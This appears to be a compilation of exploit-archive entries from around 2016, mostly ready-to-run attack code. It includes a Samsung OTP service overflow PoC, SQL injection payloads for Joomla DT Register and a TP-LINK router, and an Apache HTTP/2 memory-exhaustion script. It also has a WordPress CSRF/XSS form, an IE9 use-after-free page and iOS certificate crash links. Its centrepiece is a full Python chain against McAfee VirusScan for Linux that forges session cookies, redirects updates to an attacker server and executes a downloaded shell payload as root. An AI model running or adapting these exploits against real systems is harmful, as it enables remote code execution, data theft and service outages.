for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.
            
/**
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=935

As a part of the KNOX extensions available on Samsung devices, Samsung provides a new service which allows the generation of OTP tokens.

The tokens themselves are generated in a TrustZone application within the TEE (UID: fffffffff0000000000000000000001e). However, in order to allow easy communication between the Non-secure World (NWD) and the Secure-World (SW) trustlet, a new server has been created. This server, called "otp_server", publishes a binder service called "OTP". 

The service provides a single command via binder (command code 2), which allows a client to provide a buffer from the NWD to be sent to the SW. The requests are serialized to the parcel as a 32-bit length field, followed by the actual request data.

However, "otp_server" does not validate the request length field at all, allowing an attacker to specify any value. This length field is then used in a "memcpy" call in order to copy the data from the parcel to an internal heap-allocated buffer.

On the device I'm working on (SM-G925V), the "OTP" service can be accessed from any user, and the "otp_server" process runs with UID system and context "u:r:otp_server:s0".

I've attached a small PoC which can be used to trigger the overflow. Running it should crash "otp_server".
*/

package com.example.laginimaineb.otp;

import android.os.IBinder;
import android.os.Parcel;
import android.os.RemoteException;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;

public class MainActivity extends AppCompatActivity {

	/**
 	 * The logtag used.
	 */ 
	private static final String LOGTAG = "OTP_TEST";

	/**
 	 * The name of the OTP binder service.
	 */
	private static final String INTERFACE_DESCRIPTOR = "OTP";

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);

		try {
			//Getting the binder
			Class smClass = Class.forName("android.os.ServiceManager");
			IBinder binder = (IBinder) smClass.getMethod("getService", String.class).invoke(null, INTERFACE_DESCRIPTOR);

			//Creating a connection
			Parcel parcel = Parcel.obtain();
			Parcel reply = Parcel.obtain();
			parcel.writeInterfaceToken(INTERFACE_DESCRIPTOR);
			int length = 0xFFFF;
			parcel.writeInt(length); //Buffer length
			for (int i = 0; i < length/4 + 1; i++)
				parcel.writeInt(0xABABABAB);
			binder.transact(2, parcel, reply, 0);
			reply.recycle();
			parcel.recycle();

		} catch (RemoteException ex) {
		    Log.e(LOGTAG, "Failed to communicate with remote binder", ex);
		}
	}
}
            
Title: SQL injection in Joomla extension DT Register
Credit: Elar Lang / https://security.elarlang.eu
Vulnerability: SQL injection
Vulnerable version: before 3.1.12 (Joomla 3.x) / 2.8.18 (Joomla 2.5)
CVE: pending
Full Disclosure URL: https://security.elarlang.eu/sql-injection-in-joomla-extension-dt-register.html
Vendor: DTH Development
Vendor URL: http://www.dthdevelopment.com/
Product: DT Register "Calendar & Event Registration"
Product URL: https://extensions.joomla.org/extension/dt-register
Product URL: http://www.dthdevelopment.com/joomla-components/dt-register-event-registration-for-joomla.html


# Background

"DT Register is the Joomla Event Registration component that gives you
functionality beyond what any other event booking solution can offer"
(https://extensions.joomla.org/extension/dt-register)


# Vulnerability

SQL injection in Joomla extension "DT Register" by DTH Development
allows remote unauthenticated attacker to execute arbitrary SQL
commands via the cat parameter.


# Preconditions

No pre-conditions for authentication or authorization.


# Proof-of-Concept

http://[DOMAIN]/[PATH]/index.php?controller=calendar&format=raw&cat[0]=SQLi&task=events

PoC value (shows out all events / it's possible to see valid eventId values):
cat[0]=6) OR 1-- -


## Using UNION

For reading the data out using UNION it's important to have and to
know one valid eventId (detected in previous step).

In total there are 112 fields in select query, eventId position is no
13. For output is best to use position 112.

Step-by-Step - how to read the data out is available in blog:
https://security.elarlang.eu/sql-injection-in-joomla-extension-dt-register.html


# Vulnerability Disclosure Timeline

Full communication is available in blog:
https://security.elarlang.eu/sql-injection-in-joomla-extension-dt-register.html

2016-10-17 | me > DTH | via web form - I would like to report some
security holes. What is the correct way for that?
2016-10-18 | me > DTH | any response?
2016-10-25 | me > DTH | mail to dthdev@dthdevelopment.com
2016-10-25 | DTH > me |
* "you are not in our client list"
* "Our site (dthdevelopment.com) is protected by an enterprise grade firewall"
2016-10-25 | me > DTH | I'm whitehat, technical details
2016-10-25 | DTH > me | description, what kind of serious problems I may face
2016-10-25 | me > DTH | explanations
2016-11-02 | me > DTH | hello?
2016-11-11 | me > DTH, SiteLock | Last call.
2016-11-11 | SiteLock / DTH / me | some communication
2016-11-12 | DTH > SiteLock (CC to me) | "It was configured to be open
in the setup"
2016-11-15 | DTH | Released DT Register version 3.1.12 (J3.x) / 2.8.18 (J2.5)
2016-12-05 | DTH > me | "Sorry, forgot to respont on this. We closed
the problem on our demo site".
2016-12-12 | me | Full Disclosure on security.elarlang.eu
2016-12-13 | me | Full Disclosure on FullDisclosure mailinglist on seclists.org


## asking CVE from DWF (Distributed Weakness Filing Project) /
http://iwantacve.org

2016-10-20 | me > DWF | CVE request
2016-10-31 | DWF > me | "CVE - Acceptance of MITRE Terms of Use for
CVE Assignment"
2016-10-31 | me > DWF | I accept
2016-11-19 | me > DWF | Any feedback or decision? (still no response)
2016-12-11 | me > DWF | Is there any hope to get feedback?  (still no response)

As I haven't got any feedback, you can take this post as CVE request.


# Fix
DT Register version 3.1.12 (J3.x) / 2.8.18 (J2.5).

--
Elar Lang
Blog @ https://security.elarlang.eu
Pentester, lecturer @ http://www.clarifiedsecurity.com
            
'''
Source: https://nation.state.actor/mcafee.html

Vulnerabilities

CVE-2016-8016: Remote Unauthenticated File Existence Test
CVE-2016-8017: Remote Unauthenticated File Read (with Constraints)
CVE-2016-8018: No Cross-Site Request Forgery Tokens
CVE-2016-8019: Cross Site Scripting
CVE-2016-8020: Authenticated Remote Code Execution & Privilege Escalation
CVE-2016-8021: Web Interface Allows Arbitrary File Write to Known Location
CVE-2016-8022: Remote Use of Authentication Tokens
CVE-2016-8023: Brute Force Authentication Tokens
CVE-2016-8024: HTTP Response Splitting
CVE-2016-8025: Authenticated SQL Injection
When chaned together, these vulnerabilities allow a remote attacker to execute code as root.
'''
#!/bin/python3
import time
import requests
import os
import sys
import re
import threading
import subprocess
from http.server import BaseHTTPRequestHandler, HTTPServer
from socketserver import ThreadingMixIn

# Per-target configuration
target_domain="https://10.0.1.130" # https://target_ip
local_ip = '10.0.1.128'                 # Attacker IP for victim to connect back to
authorized_ip="127.0.0.1"           # IP address cookie will be valid for
update_server_port = 8080               # Port update server listens on
delay_seconds = 10                      # How long should the server take to serve the update
target_port = 55443                 # Port to target

# Put payload script in payload.sh

# Initialization
payload_in_place = threading.Event()
requests.packages.urllib3.disable_warnings()
with open("payload.sh", "r") as f:
    payload = f.read()

def pprint(inp, flag=False):
    pad = "#"
    if flag:
        pad = "*"
    print("\n" + pad+ " " + inp)


def crack_cookie():
    pprint("Cracking Cookie")

    # A page that requires authentication
    url = target_domain + ":" + str(target_port) + "/0409/nails?pg=proxy&tplt=productUpdate.html"

    # Start at the current time + 100 in case of recent login with clock skew
    date_val = int(time.time()+100)
    cookie_fmt = authorized_ip+"/n/0/%d-checksum// "+authorized_ip + " "*20

    # Make requests, print after every 600
    while True:
        cookie = cookie_fmt % date_val
        req_cookie = {"nailsSessionId": cookie}
        r = requests.get(url, cookies=req_cookie, verify=False)
        r.raise_for_status()

        if "Set-Cookie" in r.headers:
            valid_cookie = cookie
            timestamp = cookie.split("/")[3].split("-")[0]
            break

        elif date_val % 600 == 0:
            print("Now trying  %s" % time.asctime(time.localtime(date_val)))

        date_val -= 1

    pprint("Cookie Cracked: " + timestamp, True)
    return valid_cookie


def update_update_server(auth_cookie):
    pprint("Updating update server")

    # Replace McAfeeHttp update server with attacker local_ip:update_server_port
    url = target_domain + ":" + str(target_port) + "/0409/nails?pg=proxy&addr=127.0.0.1%3A65443&tplt=" \
    "repository.html&sitelist=add&mon%3A0=db+set+1+_table%3Drepository+status%3D1+siteList%3D%253C%253F" \
    "xml%2520version%253D%25221.0%2522%2520encoding%253D%2522UTF-8%2522%253F%253E%250A%253Cns%253ASiteLists" \
    "%2520xmlns%253Ans%253D%2522naSiteList%2522%2520GlobalVersion%253D%2522PATTeELCQSEhZwxKf4PoXNSY4%2Fg%25" \
    "3D%2522%2520LocalVersion%253D%2522Wed%252C%252030%2520Dec%25202009%252011%253A20%253A59%2520UTC%2522%2" \
    "520Type%253D%2522Client%2522%253E%253CPolicies%2F%253E%253CSiteList%2520Default%253D%25221%2522%2520Na" \
    "me%253D%2522SomeGUID%2522%253E%253CHttpSite%2520Type%253D%2522repository%2522%2520Name%253D%2522McAfee" \
    "Http%2522%2520Order%253D%25221%2522%2520Server%253D%2522"+local_ip+"%253A"+str(update_server_port) \
    + "%2522%2520Enabled%253D%25221%2522%2520Local%253D%25221%2522%253E%253CRelativePath%2F%253E%253CUseAuth%" \
    "253E0%253C%2FUseAuth%253E%253CUserName%253E%253C%2FUserName%253E%253CPassword%2520Encrypted%253D%25220" \
    "%2522%2F%253E%253C%2FHttpSite%253E%253CFTPSite%2520Type%253D%2522fallback%2522%2520Name%253D%2522McAfe" \
    "eFtp%2522%2520Order%253D%25222%2522%2520Server%253D%2522ftp.nai.com%253A21%2522%2520Enabled%253D%25221" \
    "%2522%2520Local%253D%25221%2522%253E%253CRelativePath%253ECommonUpdater%253C%2FRelativePath%253E%253CU" \
    "seAuth%253E1%253C%2FUseAuth%253E%253CUserName%253Eanonymous%253C%2FUserName%253E%253CPassword%2520Encr" \
    "ypted%253D%25221%2522%253ECommonUpdater%40McAfeeB2B.com%253C%2FPassword%253E%253C%2FFTPSite%253E%253C%" \
    "2FSiteList%253E%253C%2Fns%253ASiteLists%253E+_cmd%3Dupdate+&mon%3A1=task+setsitelist&mon%3A2=db+select" \
    "+_show%3DsiteList+_show%3Dstatus+_table%3Drepository&info%3A2=multi%2Cshow&reposProperty=repository&re" \
    "posProperty=fallback&useOfProxy=on"

    r = requests.get(url, cookies=auth_cookie, verify=False)
    r.raise_for_status()
    pprint("Updated update server", True)

def download_update(req_cookie):
    pprint("Requesting target download payload")

    # Send request to make target download payload
    url = target_domain + ":" + str(target_port) + "/0409/nails"

    updateName = "update_%d" % int(time.time())
    postdata = ("pg=proxy&addr=127.0.0.1%3A65443&tplt=scheduledTasks.html&scheduleOp=add&mon%3A0=db+set+1+_tab" \
    "le%3Dschedule++taskName%3D{0}+taskType%3DUpdate+taskInfo%3DtoUpdate%3Ddat%253Bengine+timetable%3Dtype%" \
    "3Dunscheduled+status%3DIdle++i_recurrenceCounter%3D0+&mon%3A1=task+nstart+{0}&mon%3A2=db+select+_asc%3D" \
    "taskName+_table%3Dschedule+_show%3Di_taskId+_show%3DtaskName+_show%3DtaskResults+_show%3Dtimetable+_sh" \
    "ow%3DtaskType+_show%3DtaskInfo+_show%3Di_lastRun+_show%3D%24i_lastRun+_show%3Dstatus+_show%3Dprogress+" \
    "_show%3Di_nextRun+_show%3D%24i_nextRun+_show%3Di_duration+_show%3DtaskInfo++_limit%3D50+_offset%3D0&in" \
    "fo%3A2=multi%2Cshow&mon%3A3=db+select+_table%3Dschedule+_show%3Dcount%28*%29&info%3A3=multi%2Cshow&loc" \
    "%3A4=conf+get+browser.resultsPerPage&info%3A4=multi%2Cshow&mon%3A5=task+updatecrontab&info%3A5=multi%2" \
    "Cshow&echo%3A6=1&info%3A6=pageNo&echo%3A7=&info%3A7=selectedTask""").format(updateName)

    headers = {'Content-Type': 'application/x-www-form-urlencoded'}
    r = requests.post(url, data=postdata, cookies=req_cookie, verify=False, headers=headers)
    r.raise_for_status()

    pprint("Payload download requested", 1)


def exec_catalogz(req_cookie):
    pprint("Making target execute payload")

    #### Get commit_id and ODS_name
    url = target_domain + ":" + str(target_port) + "/0409/nails?pg=proxy&tplt=schedOnDemand.html&addr=127.0" \
    ".0.1:65443&mon:0=sconf+ODS+select+section%3Dnailsd.profile.ODS&info:0=multi,show,digest&echo:1=ODS&inf" \
    "o:1=profileName&mon:2=sconf+ODS+select+section%3Dnailsd.profile.ODS_default&info:2=multi,show&echo:3=O" \
    "DS_default&info:3=defaultProfileName&mon:4=sconf+ODS+select+attribute%3Dnailsd.oasEnabled&info:4=multi" \
    ",show&mon:5=extensions&info:5=multi,show&mon:6=db+select+_show=max(i_taskId)+_table=schedule&info:6=mu" \
    "lti,show&mon:7=utco&info:7=single,show,serverUtcOffset&echo:8=generate&info:8=profileNameAction"

    r = requests.get(url, cookies=req_cookie, verify=False)
    r.raise_for_status()

    regex = re.search("\|digest=(.+?)\|", r.text)
    if not regex:
        print("\nERROR: Could not get commit_id when generating evil scan\n")
        return False

    commit_id = regex.groups(1)[0]

    # Send request to start evil scan
    payload_path = "%2Fopt%2FMcAfee%2Fcma%2Fscratch%2Fupdate%2Fcatalog.z"
    binary_path = "%2Fbin%2Fsh" # Use "%2fbin%2Fstatic-sh" for versions 1.x

    url = target_domain + ":" + str(target_port) + "/0409/nails"

    ODS_name = "ODS_1"   # This may need to be increased if the name already exists
    scan_name = "scan_%s" % str(int(time.time()))

    postdata =  ("pg=proxy&addr=127.0.0.1%3A65443&tplt=scheduledTasks.html&mon%3A0=sconf+{1}+begin&info%3A0=" \
    "multi%2Cshow&mon%3A1=sconf+{1}+delete+{0}+section%3Dnailsd.profile.{1}.filter+section%3Dnailsd.prof" \
    "ile.{1}.action&mon%3A2=sconf+{1}+set+{0}+nailsd.profile.{1}.allFiles%3Dtrue+nailsd.profile.{1}.child" \
    "InitTmo%3D240+nailsd.profile.{1}.cleanChildren%3D2+nailsd.profile.{1}.cleansPerChild%3D10000+nailsd" \
    ".profile.{1}.datPath%3D%2Fopt%2FNAI%2FLinuxShield%2Fengine%2Fdat+nailsd.profile.{1}.decompArchive%3" \
    "Dtrue+nailsd.profile.{1}.decompExe%3Dtrue+nailsd.profile.{1}.engineLibDir%3D%2Fopt%2FNAI%2FLinuxShi" \
    "eld%2Fengine%2Flib+nailsd.profile.{1}.enginePath%3D{3}+nailsd.profile.{1}.factoryI" \
    "nitTmo%3D240+nailsd.profile.{1}.heuristicAnalysis%3Dtrue+nailsd.profile.{1}.macroAnalysis%3Dtrue+na" \
    "ilsd.profile.{1}.maxQueSize%3D32+nailsd.profile.{1}.mime%3Dtrue+nailsd.profile.{1}.noJokes%3Dfalse+" \
    "nailsd.profile.{1}.program%3Dtrue+nailsd.profile.{1}.quarantineChildren%3D1+nailsd.profile.{1}.quar" \
    "antineDirectory%3D%2Fquarantine+nailsd.profile.{1}.quarantineFromRemoteFS%3Dfalse+nailsd.profile.{1" \
    "}.quarantinesPerChild%3D10000+nailsd.profile.{1}.scanChildren%3D2+nailsd.profile.{1}.scanMaxTmo%3D3" \
    "00+nailsd.profile.{1}.scanNWFiles%3Dfalse+nailsd.profile.{1}.scanOnRead%3Dtrue+nailsd.profile.{1}.s" \
    "canOnWrite%3Dtrue+nailsd.profile.{1}.scannerPath%3D{4}+nailsd.profile.{1}.scansPerChild" \
    "%3D10000+nailsd.profile.{1}.slowScanChildren%3D0+nailsd.profile.{1}.filter.0.type%3Dexclude-path+na" \
    "ilsd.profile.{1}.filter.0.path%3D%2Fproc+nailsd.profile.{1}.filter.0.subdir%3Dtrue+nailsd.profile.{" \
    "1}.filter.1.type%3Dexclude-path+nailsd.profile.{1}.filter.1.path%3D%2Fquarantine+nailsd.profile.{1}" \
    ".filter.1.subdir%3Dtrue+nailsd.profile.{1}.filter.extensions.mode%3Dall+nailsd.profile.{1}.filter.e" \
    "xtensions.type%3Dextension+nailsd.profile.{1}.action.Default.primary%3DClean+nailsd.profile.{1}.act" \
    "ion.Default.secondary%3DQuarantine+nailsd.profile.{1}.action.App.primary%3DClean+nailsd.profile.{1}" \
    ".action.App.secondary%3DQuarantine+nailsd.profile.{1}.action.timeout%3DPass+nailsd.profile.{1}.acti" \
    "on.error%3DBlock&mon%3A3=sconf+{1}+commit+{0}&mon%3A4=db+set+{0}+_table%3Dschedule++taskName%3D{2}+" \
    "taskType%3DOn-Demand+taskInfo%3DprofileName%3D{1}%2Cpaths%3Dpath%3A%2Ftmp%3Bexclude%3Atrue+timetabl" \
    "e%3Dtype%3Dunscheduled+progress%3D+status%3DIdle+&mon%3A5=task+nstart+{2}&mon%3A6=db+select+_asc%3D" \
    "taskName+_table%3Dschedule+_show%3Di_taskId+_show%3DtaskName+_show%3DtaskResults+_show%3Dtimetable+" \
    "_show%3DtaskType+_show%3DtaskInfo+_show%3Di_lastRun+_show%3D%24i_lastRun+_show%3Dstatus+_show%3Dpro" \
    "gress+_show%3Di_nextRun+_show%3D%24i_nextRun+_show%3Di_duration+_show%3DtaskInfo++_limit%3D50+_offs" \
    "et%3D0&info%3A6=multi%2Cshow&mon%3A7=db+select+_table%3Dschedule+_show%3Dcount%28*%29&info%3A7=mult" \
    "i%2Cshow&mon%3A8=sconf+ODS+begin&info%3A8=multi%2Cshow%2Cdigest&mon%3A9=task+updatecrontab&info%3A9" \
    "=multi%2Cshow&loc%3A10=conf+get+browser.resultsPerPage&info%3A10=multi%2Cshow&echo%3A11=1&info%3A11" \
    "=pageNo&echo%3A12=&info%3A12=selectedTask").format(commit_id, ODS_name, scan_name,payload_path, binary_path)

    headers = {'Content-Type': 'application/x-www-form-urlencoded'}
    r = requests.post(url, data=postdata, cookies=req_cookie, verify=False, headers=headers)
    r.raise_for_status()

    pprint("Payload executed", 1)

def start_update_server():

    class RequestHandler(BaseHTTPRequestHandler):
        def do_HEAD(s):
            s.send_response(200)
            s.send_header("Content-type", "text/html")
            s.end_headers()

        def do_GET(s):
            if s.path == "/catalog.z":
                s.send_response(200)
                s.send_header("Content-type", "text/html")
                s.end_headers()
                s.wfile.write(bytes(payload, "utf-8"))

                pprint("Payload placed", 1)

                payload_in_place.set()

                # Die after sending payload so we send an incomplete response
                raise KillServer

            else: # Assume all other requests are for SiteStat - Always increasing version
                s.send_response(200)
                s.send_header("Content-type", "text/xml")
                s.end_headers()
                s.wfile.write(bytes(("""<?xml version="1.0" encoding="UTF-8"?>""" \
                """<SiteStatus Status="Enabled" CatalogVersion="2%d">""" \
                """ </SiteStatus>""") % int(time.time()), "utf-8"))

    # Throwing KillServer will shutdown the server ungracefully
    class KillServer(Exception):
        def __str__(self):
            return "Kill Server (not an error)"

    # ThreadingMixIn plus support for KillServer exceptions
    class AbortableThreadingMixIn(ThreadingMixIn):
        def process_request_thread(self, request, client_address):
            try:
                self.finish_request(request, client_address)
                self.shutdown_request(request)
            except KillServer:
                pprint("Killing update server dirtily")
                self.shutdown_request(request)
                self.shutdown() # Only if we want to shutdown
            except:
                self.handle_error(request, client_address)
                self.shutdown_request(request)


    class BackgroundHTTPSrv(AbortableThreadingMixIn, HTTPServer):
        pass

    pprint("Launching update server")

    srv = BackgroundHTTPSrv((local_ip, update_server_port), RequestHandler)
    threading.Thread(target=srv.serve_forever).start()

    pprint("Update server started", 1)
    return srv


####################################################################################
####################################################################################

pprint("Attacking %s" % target_domain, 1)

# Crack the auth cookie
cookie = crack_cookie()
auth_cookie = {"nailsSessionId": cookie}

# Start our update server locally
srv = start_update_server()

# Force target to use our update server
update_update_server(auth_cookie)

# Make target download an update from us
download_update(auth_cookie)

# Block until the target downloads our payload,
payload_in_place.wait()

# Shutdown our update server
srv.shutdown()

# Execute /bin/sh -(?) catalog.z
exec_catalogz(auth_cookie)
            
# Exploit Title: TP-LINK TD-W8151N - Denial of Service
# Date: 2016-12-13
# Exploit Author: Persian Hack Team
# Discovered by : Mojtaba MobhaM
# Home : http://persian-team.ir/
# Tested on: Windows AND Linux
# Demo : https://www.youtube.com/watch?v=WrGgHvhiCGg

POC : 

flagFresh Parameter Vulnerable

POST /Forms/status_1 HTTP/1.1
Host: 192.168.1.1
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://192.168.1.1/status.html
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
Cookie: sessionid=13df8bc9; Language=en; C0=%00; C1=%00

flagFresh=0

Request : 

POST /Forms/status_1 HTTP/1.1
Host: 192.168.1.1
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://192.168.1.1/status.html
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
Cookie: sessionid=13df8bc9; Language=en; C0=%00; C1=%00

flagFresh=0&1 and benchmark(20000000%2csha1(1))--=1
            
#!/usr/bin/python

""" source : http://seclists.org/bugtraq/2016/Dec/3
The mod_http2 module in the Apache HTTP Server 2.4.17 through 2.4.23, when the Protocols configuration includes h2 or h2c, does not restrict request-header length, which allows remote attackers to cause a denial of service (memory consumption) via crafted CONTINUATION frames in an HTTP/2 request.(https://access.redhat.com/security/cve/cve-2016-8740)

Usage : cve-2016-8740.py [HOST] [PORT]
"""

import sys
import struct
import socket

HOST = sys.argv[1]
PORT = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

# https://http2.github.io/http2-spec/#ConnectionHeader
s.sendall('PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n')

# https://http2.github.io/http2-spec/#SETTINGS
SETTINGS = struct.pack('3B', 0x00, 0x00, 0x00) # Length
SETTINGS += struct.pack('B', 0x04) # Type
SETTINGS += struct.pack('B', 0x00)
SETTINGS += struct.pack('>I', 0x00000000)
s.sendall(SETTINGS)

# https://http2.github.io/http2-spec/#HEADERS
HEADER_BLOCK_FRAME = '\x82\x84\x86\x41\x86\xa0\xe4\x1d\x13\x9d\x09\x7a\x88\x25\xb6\x50\xc3\xab\xb6\x15\xc1\x53\x03\x2a\x2f\x2a\x40\x83\x18\xc6\x3f\x04\x76\x76\x76\x76'
HEADERS = struct.pack('>I', len(HEADER_BLOCK_FRAME))[1:] # Length
HEADERS += struct.pack('B', 0x01) # Type
HEADERS += struct.pack('B', 0x00) # Flags
HEADERS += struct.pack('>I', 0x00000001) # Stream ID
s.sendall(HEADERS + HEADER_BLOCK_FRAME)

# Sending CONTINUATION frames for leaking memory
# https://http2.github.io/http2-spec/#CONTINUATION
while True:
    HEADER_BLOCK_FRAME = '\x40\x83\x18\xc6\x3f\x04\x76\x76\x76\x76'
    HEADERS = struct.pack('>I', len(HEADER_BLOCK_FRAME))[1:] # Length
    HEADERS += struct.pack('B', 0x09) # Type
    HEADERS += struct.pack('B', 0x01) # Flags
    HEADERS += struct.pack('>I', 0x00000001) # Stream ID
    s.sendall(HEADERS + HEADER_BLOCK_FRAME)
            
<!--
Details
================
Software: Multisite Post Duplicator
Version: 0.9.5.1
Homepage: http://wordpress.org/plugins/multisite-post-duplicator/
Advisory report: https://security.dxw.com/advisories/csrf-vulnerability-in-multisite-post-duplicator-could-allow-an-attacker-to-do-almost-anything-an-admin-user-can-do/
CVE: Awaiting assignment
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N)

Description
================
CSRF vulnerability in Multisite Post Duplicator could allow an attacker to do almost anything an admin user can do

Vulnerability
================
Contains a CSRF vulnerability which can copy content from one site of a multisite installation to another.
This could be used to add arbitrary HTML to the front-end of the site (which could be used for defacement, harvesting login credentials from authenticated users, or could be used to do virtually anything a logged-in admin user can do).
This could also be used to view content not meant to be published.

Proof of concept
================
Some of these values may need adjusting depending on the post IDs, blog IDs, etc.
-->

<form method=\"POST\" action=\"http://localhost/wp-admin/tools.php?page=mpd\">
  <input type=\"text\" name=\"mpd-post-status\" value=\"draft\">
  <input type=\"text\" name=\"mdp-prefix\" value=\"<script>alert(1)</script>\">
  <input type=\"text\" name=\"action\" value=\"add_foobar\">
  <input type=\"text\" name=\"el0\" value=\"post\">
  <input type=\"text\" name=\"el1\" value=\"1\">
  <input type=\"text\" name=\"el2\" value=\"1\">
  <input type=\"text\" name=\"el3\" value=\"1\">
  <input type=\"text\" name=\"duplicate-submit\" value=\"Duplicate\">
  <input type=\"submit\">
</form>

<!--
Mitigations
================
Update to version 1.1.3 or later.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
================

2016-11-01: Discovered
2016-12-07: Tested version 1.1.3 and found the plugin no longer vulnerable to the attack as described
2016-12-09: Advisory published



Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information.
-->
            
<!--
Source: http://blog.skylined.nl/20161212001.html

Synopsis
A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.

Known affected software and attack vectors
Microsoft Internet Explorer 9
An attacker would need to get a target user to open a specially crafted web-page. Disabling Java­Script should prevent an attacker from triggering the vulnerable code path.
Details
This bug was found back when I had very little knowledge and tools to do analysis on use-after-free bugs, so I have no details to share. EIP revealed that this was a use-after-free vulnerability. I have included a number of reports created using a predecessor of Bug­Id below.

Repro.html:
-->

<!DOCTYPE html>
<html>
  <head>
    <meta http-equiv="X-UA-Compatible" content="IE=Emulate­IE7" >
    <script>
      function go() {
        document.exec­Command('Select­All');
        document.exec­Command('superscript');
        set­Timeout(function() {
          o­Sup­Element=document.get­Elements­By­Tag­Name('sup')[0];
          o­Sup­Element.swap­Node(document.document­Element);
        }, 0);
      }
    </script>
  </head>
  <body onload="go()">
    <address></address>
    <fieldset></fieldset>
  </body>
</html>

<!--
Time-line
27 September 2012: This vulnerability was found through fuzzing.
3 December 2012: This vulnerability was submitted to EIP.
10 December 2012: This vulnerability was rejected by EIP.
12 December 2012: This vulnerability was submitted to ZDI.
25 January 2013: This vulnerability was acquired by ZDI.
15 February 2013: This vulnerability was disclosed to Microsoft by ZDI.
27 June 2013: This vulnerability was address by Microsoft in MS13-047.
12 December 2016: Details of this vulnerability are released.
-->
            
Source: https://cxsecurity.com/issue/WLB-2016110046

iOS 10.1.x Remote memory corruption through certificate file
Credit: Maksymilian Arciemowicz from https://cxsecurity.com

--------------------------------------------------------------------------------------
0. Short description
Special crafted certificate file may lead to memory corruption of several processes and the vector attack may be through Mobile Safari or Mail app. Attacker may control the overflow through the certificate length in OCSP field

--------------------------------------------------------------------------------------
1. Possible vectors of attack
- Apple Mail (double click on certificate)
- Safari Mobile ( go to special crafted link eg https://cert.cx/appleios10/700k.php which will redirect you to CRT file )
- other unspecified

--------------------------------------------------------------------------------------
2. Symptoms of memory overflow
By appropriate length of the certificate, an attacker can trigger crash of:
- profiled
- Preferences
- other unexpected behaviors

--------------------------------------------------------------------------------------
3. Crash log:
- profiled
---------------------------------------------------------------
{"app_name":"profiled","app_version":"","bug_type":"109","timestamp":"2016-09-20 09:15:09.85 +0200","os_version":"iPhone OS 10.0.1 (14A403)","incident_id":"XXXXXXXXXXXXXX","slice_uuid":"XXXXXXXXXXXXXX","build_version":"","is_first_party":true,"share_with_app_devs":false,"name":"profiled"}
Incident Identifier: XXXXXXXXXXXXXX
CrashReporter Key: XXXXXXXXXXXXXX
Hardware Model: iPhone6,2
Process: profiled [1595]
Path: /System/Library/PrivateFrameworks/ManagedConfiguration.framework/Support/profiled
Identifier: profiled
Version: ???
Code Type: ARM-64 (Native)
Role: Unspecified
Parent Process: launchd [1]
Coalition: <none> [253]


Date/Time: 2016-09-20 09:15:09.7892 +0200
Launch Time: 2016-09-20 09:15:01.1603 +0200
OS Version: iPhone OS 10.0.1 (14A403)
Report Version: 104

Exception Type: EXC_BAD_ACCESS (SIGSEGV)
Exception Subtype: KERN_INVALID_ADDRESS at 0x000000016e193ca0
Termination Signal: Segmentation fault: 11
Termination Reason: Namespace SIGNAL, Code 0xb
Terminating Process: exc handler [0]
Triggered by Thread: 2

---------------------------------------------------------------

- Preferences
---------------------------------------------------------------
{"app_name":"Preferences","timestamp":"2016-09-20 01:11:44.56 +0200","app_version":"1","slice_uuid":"XXXXXXXXXXX","adam_id":0,"build_version":"1.0","bundleID":"com.apple.Preferences","share_with_app_devs":false,"is_first_party":true,"bug_type":"109","os_version":"iPhone OS 10.0.1 (14A403)","incident_id":"XXXXXXXXXXX","name":"Preferences"}
Incident Identifier: XXXXXXXXXXX
CrashReporter Key: XXXXXXXXXXX
Hardware Model: iPhone6,2
Process: Preferences [1517]
Path: /Applications/Preferences.app/Preferences
Identifier: com.apple.Preferences
Version: 1.0 (1)
Code Type: ARM-64 (Native)
Role: Foreground
Parent Process: launchd [1]
Coalition: com.apple.Preferences [754]


Date/Time: 2016-09-20 01:11:43.4478 +0200
Launch Time: 2016-09-20 01:10:54.3002 +0200
OS Version: iPhone OS 10.0.1 (14A403)
Report Version: 104

Exception Type: EXC_BAD_ACCESS (SIGSEGV)
Exception Subtype: KERN_INVALID_ADDRESS at 0x000000016fc6df90
Termination Signal: Segmentation fault: 11
Termination Reason: Namespace SIGNAL, Code 0xb
Terminating Process: exc handler [0]
Triggered by Thread: 0
---------------------------------------------------------------


Logs:
==============================
Sep 20 20:17:02 xscxsc com.apple.CoreSimulator.SimDevice.27D...8F.launchd_sim[1905] (com.apple.managedconfiguration.profiled[3085]): Service exited due to signal: Segmentation fault: 11
Sep 20 20:17:02 xscxsc MobileSafari[2870]: (Error) MC: Queue data for acceptance error. Error: NSError:
Desc : Couldn’t communicate with a helper application.
Sugg : Try your operation again. If that fails, quit and relaunch the application and try again.
Domain : NSCocoaErrorDomain
Code : 4097
Extra info:
{
NSDebugDescription = "connection to service named com.apple.managedconfiguration.profiled";
}
Sep 20 20:17:02 xscxsc profiled[3133]: (Note ) profiled: Service starting...
==============================

--------------------------------------------------------------------------------------
4. PoC
https://cert.cx/appleios10/300k.php
https://cert.cx/appleios10/500k.php
https://cert.cx/appleios10/700k.php
https://cert.cx/appleios10/900k.php

or https://cert.cx/appleios10/expl.html

just click on this link by using Safari. 

EDB Proofs of Concept Mirror:
